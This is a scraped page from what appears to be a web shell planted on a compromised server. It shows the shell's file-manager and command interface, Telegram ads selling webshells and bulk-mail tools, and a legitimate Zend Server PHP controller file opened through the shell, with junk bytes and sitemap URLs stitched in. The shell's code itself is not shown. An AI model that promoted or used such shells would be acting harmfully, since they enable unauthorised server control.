xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace EventsGroup\Controller;

use ZendServer\Log\Log;
use ZendServer\Exception;
use ZendServer\Mvc\Controller\ActionController,
    Zend\View\Model\ViewModel;

class EventsGroupController extends ActionController
{

    public function detailsAction()
    {
        $request = $this->getRequest(); /* @var $request \Zend\Http\PhpEnvironment\Request */
        $groupId = $request->getQuery()->get('eventsGroupId');

        $monitorEventsModel = $this->getLocator()->get('EventsGroup\Db\Mapper'); /* @var $monitorEventsModel \EventsGroup\Db\Mapper */
        $monitorIssuesModel = $this->getLocator()->get('Issue\Db\Mapper');
        $eventGroupData     = $monitorEventsModel->getEventGroupData($groupId);

        $eventsGroup = $monitorEventsModel->getEventsGroup($groupId);



        $viewModel = new ViewModel(array('eventsGroup' => $eventsGroup, 'event' => $eventGroupData));
        $viewModel->setTerminal(true); // only render this view model, no layout is used
        return $viewModel;
    }

    /**
     * Get event group details
     * 
     * @api
     * @version 1.3
     * @method GET
     * @section Monitoring
     * @param integer eventsGroupId
     * @response {
            "eventData": {
                "error-data": {
                    "phpError": "syntax error, unexpected 'echo' (T_ECHO)"
                },
                "server-variables": {
                    "superGlobals": {
                        "SERVER": "array (\n  'HTTP_HOST' => 'localhost',\n  'HTTP_CONNECTION' => 'keep-alive',\n  'HTTP_USER_AGENT' => 'Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Ubuntu Chromium\/63.0...cut...',\n  'HTTP_UPGRADE_INSECURE_REQUESTS' => '1',\n  'HTTP_ACCEPT' => 'text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8',\n  'HTTP_ACCEPT_ENCODING' => ' br',\n  'HTTP_ACCEPT_LANGUAGE' => 'he-IL,he;q=0.9,en-US;q=0.8,en;q=0.7,ru;q=0.6',\n  'HTTP_COOKIE' => 'twodo_selected_file_id=7',\n  'PATH' => '\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin',\n  'SERVER_SIGNATURE' => '<address>Apache\/2.4.18 (Ubuntu) Server at localhost Port 80<\/address>\n',\n  'SERVER_SOFTWARE' => 'Apache\/2.4.18 (Ubuntu)',\n  'SERVER_NAME' => 'localhost',\n  'SERVER_ADDR' => '::1',\n  'SERVER_PORT' => '80',\n  'REMOTE_ADDR' => '::1',\n  'DOCUMENT_ROOT' => '\/var\/www\/html',\n  'REQUEST_SCHEME' => 'http',\n  'CONTEXT_PREFIX' => '',\n  'CONTEXT_DOCUMENT_ROOT' => '\/var\/www\/html',\n  'SERVER_ADMIN' => 'webmaster@localhost',\n  'SCRIPT_FILENAME' => '\/var\/www\/html\/jobs\/parse_error.php',\n  'REMOTE_PORT' => '48876',\n  'GATEWAY_INTERFACE' => 'CGI\/1.1',\n  'SERVER_PROTOCOL' => 'HTTP\/1.1',\n  'REQUEST_METHOD' => 'GET',\n  'QUERY_STRING' => '',\n  'REQUEST_URI' => '\/jobs\/parse_error.php',\n  'SCRIPT_NAME' => '\/jobs\/parse_error.php',\n  'PHP_SELF' => '\/jobs\/parse_error.php',\n  'REQUEST_TIME_FLOAT' => 1517300239.9170000553131103515625,\n  'REQUEST_TIME' => 1517300239,\n)"
                    }
                },
                "request-variables": {
                    "superGlobals": {
                        "COOKIE": "array (\n  'twodo_selected_file_id' => '7',\n)"
                    }
                }
            },
            "hasFileName": true
        }
     * 
     * @return  
     */
    public function detailsJsonAction()
    {
        $request = $this->getRequest(); /* @var $request \Zend\Http\PhpEnvironment\Request */
        $groupId = $request->getQuery()->get('eventsGroupId');

        $monitorEventsModel = $this->getLocator()->get('EventsGroup\Db\Mapper'); /* @var $monitorEventsModel \EventsGroup\Db\Mapper */
        $monitorIssuesModel = $this->getLocator()->get('Issue\Db\Mapper');
        $eventGroupData     = $monitorEventsModel->getEventGroupData($groupId);

        $eventsGroup = $monitorEventsModel->getEventsGroup($groupId);

        $typesToTabs = $this->getTabNamesByType();
        
        $typeTabs = $typesToTabs[$eventsGroup->getEventType()];

        $event = $eventGroupData;

        //// filter tabs by missing tabs' data
        if (isset($typeTabs['error-data']) && (!($event->getJavaBacktrace() || $event->getClass() || $event->getErrorString()))) {
            unset($typeTabs['error-data']);
        }

        if (isset($typeTabs['function-data']) && (!$event->getFunctionName())) {
            unset($typeTabs['function-data']);
        }

        if (isset($typeTabs['backtrace']) && (!$event->getBacktrace())) {
            unset($typeTabs['backtrace']);
        }

        if (isset($typeTabs['request-variables'])) {
            $superGlobals = $event->getSuperGlobalsData();
            if ((!$superGlobals) || (!(isset($superGlobals[ZM_DATA_VAR_GET]) || isset($superGlobals[ZM_DATA_VAR_POST]) || isset($superGlobals[ZM_DATA_VAR_RAW_POST_DATA])
                || isset($superGlobals[ZM_DATA_VAR_FILES]) || isset($superGlobals[ZM_DATA_VAR_COOCKIE])))) {
                unset($typeTabs['request-variables']);
            }
        }

        if (isset($typeTabs['server-variables'])) {
            $superGlobals = $event->getSuperGlobalsData();
            if ((!$superGlobals) || (!(isset($superGlobals[ZM_DATA_VAR_SERVER]) || isset($superGlobals[ZM_DATA_VAR_ENV])
                || isset($superGlobals[ZM_DATA_VAR_SESSION])))) {
                unset($typeTabs['server-variables']);
            }
        }

        $eventData = array();
        foreach ($typeTabs as $key => $tab) {
            $eventData[$key] = array();
            if ($key === 'error-data') {
                if ($event->getJavaBacktrace()) {
                    $eventData[$key]['javaErrorString'] = $event->getErrorString();
                    $eventData[$key]['javaBacktrace']   = $event->getJavaBacktrace();
                } elseif ($event->getClass()) {
                    $eventData[$key]['errorString'] = $event->getErrorString();
                } else {
                    $eventData[$key]['phpError'] = preg_replace('#(\<a.+href\=[\'\"])(.+[\'\"])(.+\>)#iU',
                        '\\1http://www.php.net/\\2 target="_blank" \\3', $event->getErrorString());
                    if (is_null($eventData[$key]['phpError'])) {
                        $eventData[$key]['phpError'] = $event->getErrorString();
                    }
                }
            }
            if ($key === 'function-data') {
                if ($event->getJavaBacktrace()) {
                    $eventData[$key]['javaErrorString'] = $event->getErrorString();
                    $eventData[$key]['javaBacktrace']   = $event->getJavaBacktrace();
                } elseif ($event->getClass()) {
                    $eventData[$key]['errorString'] = $event->getErrorString();
                } else {
                    $eventData[$key]['phpError'] = preg_replace('#(\<a.+href\=[\'\"])(.+[\'\"])(.+\>)#iU',
                        '\\1http://www.php.net/\\2 target="_blank" \\3', $event->getErrorString());
                    if (is_null($eventData[$key]['phpError'])) {
                        $eventData[$key]['phpError'] = $event->getErrorString();
                    }
                }

                $args = $event->getFunctionArgs();
                $argn = count($args);

                if ($argn > 0) {
                    $function     = "{$event->getFunctionName()} (\n";
                    $unserialized = array();
                    foreach ($args as $argkey => $value) {
                        $lines = explode("\n", var_export(unserialize($value), true));
                        foreach ($lines as & $line) {
                            $line = preg_replace_callback("|^([ ]*)|",
                                function($matches) {
                                return "  ".$matches[1];
                            }, $line);
                        }
                        $unserialized [] = implode("\n", $lines);
                    }
                    $function .= implode(",\n", $unserialized);
                    $function .= "\n)";
                } else {
                    $function = "{$event->getFunctionName()}()";
                }

                $eventData[$key]['functions'] = $function;
            }

            if ($key === 'custom-variables') {
                $eventData[$key]['superGlobals'] = array('User Data' => var_export(unserialize($event->getUserData()), true));
            }
            if ($key === 'server-variables') {
                $types = array(ZM_DATA_VAR_SERVER => 'SERVER', ZM_DATA_VAR_ENV => 'ENV', ZM_DATA_VAR_SESSION => 'SESSION');
            }
            if ($key === 'request-variables') {
                $types = array(ZM_DATA_VAR_GET => 'GET', ZM_DATA_VAR_POST => 'POST', ZM_DATA_VAR_FILES => 'FILES', ZM_DATA_VAR_RAW_POST_DATA => 'RAWPOST', ZM_DATA_VAR_COOCKIE => 'COOKIE');
            }
            if ($key === 'request-variables' || $key === 'server-variables') {
                if ($event->getSuperGlobalsData()) {
                    $arr = array_intersect_key($event->getSuperGlobalsData(), $types);
                    $eventData[$key]['superGlobals'] = array();
                    foreach ($arr as $type => $superGlobalData) {
                        if ($superGlobalData) {
                            $eventData[$key]['superGlobals'][$types[$type]] = var_export($superGlobalData, true);
                        }
                    }
                }
            }
            if ($key === 'backtrace') {
                $eventData[$key]['traces'] = $event->getBacktrace();
            }
            if ($key === 'job-queue') {
                $xmlData = $event->getExtraData();
                try {
                    $xml          = new \SimpleXMLElement($xmlData);
                    $stringValues = [];
                    $intValues    = [];
                    switch ($eventsGroup->getEventType()) {
                        case ZM_TYPE_JQ_JOB_EXEC_ERROR:
                            $stringValues = ['reason', 'queueName', 'jobUrl', 'jobParams', 'jobName'];
                            $intValues    = ['scheduleId', 'jobId'];
                            break;
                        case ZM_TYPE_JQ_JOB_LOGICAL_FAILURE:
                            $stringValues = ['queueName', 'jobUrl', 'jobParams', 'filename', 'line', 'errorMsg', 'userData', 'jobName'];
                            $intValues    = ['scheduleId', 'jobId'];
                            break;
                        case ZM_TYPE_JQ_JOB_EXEC_DELAY:
                            $stringValues = ['queueName', 'jobUrl', 'jobParams', 'skewSeconds', 'jobName'];
                            $intValues    = ['scheduleId', 'jobId'];
                            break;
                        case ZM_TYPE_JQ_DAEMON_HIGH_CONCURRENCY_LEVEL:
                            $stringValues = ['queueName'];
                            $intValues    = ['runningJobsCount', 'maximumCountAllowed'];
                            break;
                    }

                    foreach ($intValues as $value) {
                        if ((int) $xml->$value != 0) {
                            $eventData[$key][$value] = (string) $xml->$value;
                        }
                    }
                    foreach ($stringValues as $value) {
                        if ((string) $xml->$value != '') {
                            $eventData[$key][$value] = (string) $xml->$value;
                        }
                    }
                } catch (\Exception $e) {
                    \ZendServer\Log\Log::err('Could not parse Extra Data: %s', array($e->getMessage()));
                }
            }
        }

        if (!isset($eventData['job-queue']) && $eventsGroup->getJobId()) {
            $jobId = $eventsGroup->getJobId();
            $rule   = $this->getJobsMapper()->getJob($jobId);
            $eventData['job-queue'] = [
                'jobUrl' => $rule['script'],
                'jobParams' => $rule['variables'],
                'jobName' => $rule['name'],
                'scheduleId' => $rule['schedule_id'],
                'jobId' => $rule['id'],
            ];
        }

        $response = array(
            'eventData' => $eventData,
            'hasFileName' => $eventsGroup->hasFileName()
        );
        
        return $this->getResponse()->setContent(json_encode($response));
    }
    
    /**
     * For each tab get its display name
     * @return array
     */
    protected function getTabDisplayNames() {
        return array(
            'error-data' => _t('Error Data'),
            'function-data' => _t('Function Data'),
            'job-queue' => _t('Job Queue'),
            'code-tracing' => _t('Code Tracing'),
            'custom-variables' => _t('Custom Variables'),
            'server-variables' => _t('Server Variables'),
            'request-variables' => _t('Request Variables'),
            'ui-event' => _t('UI Event'),
            'backtrace' => _t('Backtrace'),
        );
    }
    
    /**
     * @return array
     */
    protected function getTabNamesByType() {
        return array(
            ZM_TYPE_ZSM_NODE_ADDED_SUCCESSFULLY => array('ui-event' => 'Ui Event'),
            ZM_TYPE_ZSM_NODE_REMOVED_SUCCESSFULLY => array('ui-event' => 'Ui Event'),
            ZM_TYPE_ZSM_NODE_IS_NOT_RESPONDING => array('ui-event' => 'Ui Event'),
            ZM_TYPE_ZSM_NODE_DISABLED_SUCCESSFULLY => array('ui-event' => 'Ui Event'),
            ZM_TYPE_ZSM_NODE_ENABLED_SUCCESSFULLY => array('ui-event' => 'Ui Event'),
            ZM_TYPE_ZSM_CONFIGUATION_MISMATCH => array('ui-event' => 'Ui Event'),
            ZM_TYPE_CUSTOM => array('error-data' => 'Error Data',
                'custom-variables' => 'Custom Variables',
                'server-variables' => 'Server Variables',
                'request-variables' => 'Request Variables',
                'backtrace' => 'Backtrace'),
            ZM_TYPE_FUNCTION_SLOW_EXEC => array('error-data' => 'Error Data',
                'function-data' => 'Function Data',
                'server-variables' => 'Server Variables',
                'request-variables' => 'Request Variables',
                'backtrace' => 'Backtrace'),
            ZM_TYPE_FUNCTION_ERROR => array('backtrace' => 'Backtrace',
                'function-data' => 'Function Data',
                'server-variables' => 'Server Variables',
                'request-variables' => 'Request Variables'),
            ZM_TYPE_REQUEST_SLOW_EXEC => array('server-variables' => 'Server Variables',
                'request-variables' => 'Request Variables'),
            ZM_TYPE_REQUEST_RELATIVE_SLOW_EXEC => array('server-variables' => 'Server Variables',
                'request-variables' => 'Request Variables'),
            ZM_TYPE_REQUEST_LARGE_MEM_USAGE => array('server-variables' => 'Server Variables',
                'request-variables' => 'Request Variables'),
            ZM_TYPE_REQUEST_RELATIVE_LARGE_MEM_USAGE => array('server-variables' => 'Server Variables',
                'request-variables' => 'Request Variables'),
            ZM_TYPE_REQUEST_RELATIVE_LARGE_OUT_SIZE => array('server-variables' => 'Server Variables',
                'request-variables' => 'Request Variables'),
            ZM_TYPE_ZEND_ERROR => array('backtrace' => 'Backtrace',
                'function-data' => 'Function Data',
                'error-data' => 'Error Data',
                'server-variables' => 'Server Variables',
                'request-variables' => 'Request Variables'),
            ZM_TYPE_JAVA_EXCEPTION => array('error-data' => 'Error Data'),
            ZM_TYPE_JQ_JOB_EXEC_ERROR => array('job-queue' => 'Job Queue'),
            ZM_TYPE_JQ_JOB_LOGICAL_FAILURE => array('job-queue' => 'Job Queue'),
            ZM_TYPE_JQ_JOB_EXEC_DELAY => array('job-queue' => 'Job Queue'),
            ZM_TYPE_TRACER_FILE_WRITE_FAIL => array('code-tracing' => 'Code Tracing'),
        );
    }

    public function highlightFileAction()
    {
        $request      = $this->getRequest(); /* @var $request \Zend\Http\PhpEnvironment\Request */
        $groupId      = $request->getQuery()->get('eventsGroupId');
        $backtraceNum = $request->getQuery()->get('backtraceNum');

        $retriever = $this->getLocator('EventsGroup\BacktraceSourceRetriever'); /* @var $retriever \EventsGroup\BacktraceSourceRetriever */
        try {
            $source         = $retriever->getHighlightedSource($groupId, $backtraceNum);
            $rowToHighLight = $retriever->getHighlightedLine($groupId, $backtraceNum);
        } catch (Exception $e) {
            Log::warn($e->getMessage());
            Log::debug($e);

            $source         = '';
            $rowToHighLight = 0;
        }

        $viewModel = new ViewModel(array('source' => $source, 'rowToHighLight' => $rowToHighLight));
        $viewModel->setTerminal(true); // only render this view model, no layout is used
        return $viewModel;
    }


    /**
     * @return \JobQueue\Db\Mapper
     */
    private function getJobsMapper()
    {
        return $this->getLocator()->get('JobQueue\Db\Mapper');
    }
}

Filemanager

Name Type Size Permission Actions
Plugin Folder 0755
EventsGroupController.php File 16.69 KB 0644
WebAPI12Controller.php File 539 B 0644
WebAPIController.php File 5.08 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml